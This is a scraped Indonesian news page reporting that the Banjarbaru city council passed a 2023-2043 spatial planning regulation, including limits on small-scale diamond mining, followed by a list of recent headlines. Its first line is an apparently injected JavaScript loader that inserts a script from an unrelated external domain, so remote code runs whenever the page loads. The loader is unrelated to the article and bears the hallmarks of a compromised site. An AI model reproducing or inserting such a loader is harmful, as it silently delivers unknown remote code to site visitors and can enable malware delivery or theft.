(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
DPRD BANJARBARU

DPRD Banjarbaru Sahkan Perda Tata Kelola Wilayah 2023-2043


KANALKALIMANTAN.COM, BANJARBARU – Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru menggelar rapat paripurna pengambilan keputusan terhadap Rancangan Peraturan Daerah (Raperda) Kota Banjarbaru tentang tata kelola wilayah tahun 2023-2043. Perda yang ditetapan yang menjadi acuan dalam penataan dan pengelolaan wilayah di ibu kota Provinsi Kalsel untuk 20 tahun kedepan.

Dimana beberapa halnya berisi mengenai RTRW dan Pertambangan Rakyat. Pertambangan rakyat berupa tambang intan juga diatur mengenai batasan luasnya.

“Penetapan Peraturan Daerah ini sudah melalui proses panjang mulai dari pengajuan Raperda hingga pembentukan panitia khusus,” ujar Ketua DPRD Banjarbaru Fadliansyah usai rapat paripurna.

Fadliansyah mengatakan, sejak Perda ditetapkan dan diberlakukan maka tata kelola wilayah di Kota Banjarbaru selama 20 tahun ke depan harus mengacu terhadap peraturan daerah.

Baca juga: Pasar Murah Pemprov Kalteng di Empat Titik, Warga Malah Dapat Sembako Gratis

Diharapkan, Rerda tersebut menjadi payung hukum penataan wilayah sehingga tidak ada lagi pelanggaran terutama yang berdampak terhadap kerusakan lingkungan di kawasan perkotaan setempat.

“Kami bersama seluruh anggota DPRD sudah menetapkan Perda dan diharapkan mampu menjadi payung hukum, jika terjadi pelanggaran maka bisa dikenakan sanksi sesuai kesalahan,” ucapnya.

Wali Kota Banjarbaru Aditya Mufti Ariffin menyampaikan terima kasih dan rasa syukurnya sehingga sampai hari ini Perda RTRW sudah bisa diperdakan melalui rapat paripurna ini.

“Jadi memang banyak lika-liku yang harus dilewati hingga sampai hari ini bisa di paripurnakan,” ucapnya. (Kanalkalimantan.com/al)

Reporter : al
Editor : kk


Risa

Recent Posts

TOP 10 MasterChef Indonesia Season 12 Siap Menghadirkan Tantangan yang Menantang dengan Menguji Ketelitian dan Kecepatan Para Kontestan!

KANALKALIMANTAN.COM - Di Minggu ini, kita akan bertemu kembali dengan 10 besar kontestan MasterChef Indonesia… Read More

4 menit ago

Pansus III DPRD Kotabaru Pelajari Tata Kelola Air Tangerang

KANALKALIMANTAN.COM, KOTABARU - Dalam rangka pembahasan Rancangan Peraturan Daerah (Raperda) tentang Pengelolaan Sumber Daya Air,… Read More

13 jam ago

Kuasa Hukum Keluarga Juwita Siap Tambah Barang Bukti dan Saksi

KANALKALIMANTAN.COM, BANJARBARU - Tim kuasa hukum keluarga Juwita berencana menambah barang bukti dan saksi tambahan… Read More

14 jam ago

Peringati Hari Malaria Sedunia, Ini Pesan Wabup Banjar

KANALKALIMANTAN.COM, MARTAPURA - Wakil Bupati Banjar Habib Idrus Al Habsyi membuka pertemuan koordinasi lintas sektor… Read More

16 jam ago

Tim Kuasa Hukum Keluarga Juwita Soroti Dua Pasal Dakwaan

KANALKALIMANTAN.COM, BANJARBARU - Advokasi Untuk Keadilan (AUK) Juwita mendampingi pihak keluarga menghadiri proses pelimpahan perkara… Read More

21 jam ago

Odmil III-15 Banjarmasin Limpahkan Kasus Juwita ke Pengadilan Militer

KANALKALIMANTAN.COM, BANJARBARU - Oditurat Militer (Odmil) III-15 Banjarmasin melimpahlan perkara kasus pembunuhan berencana yang dilakukan… Read More

24 jam ago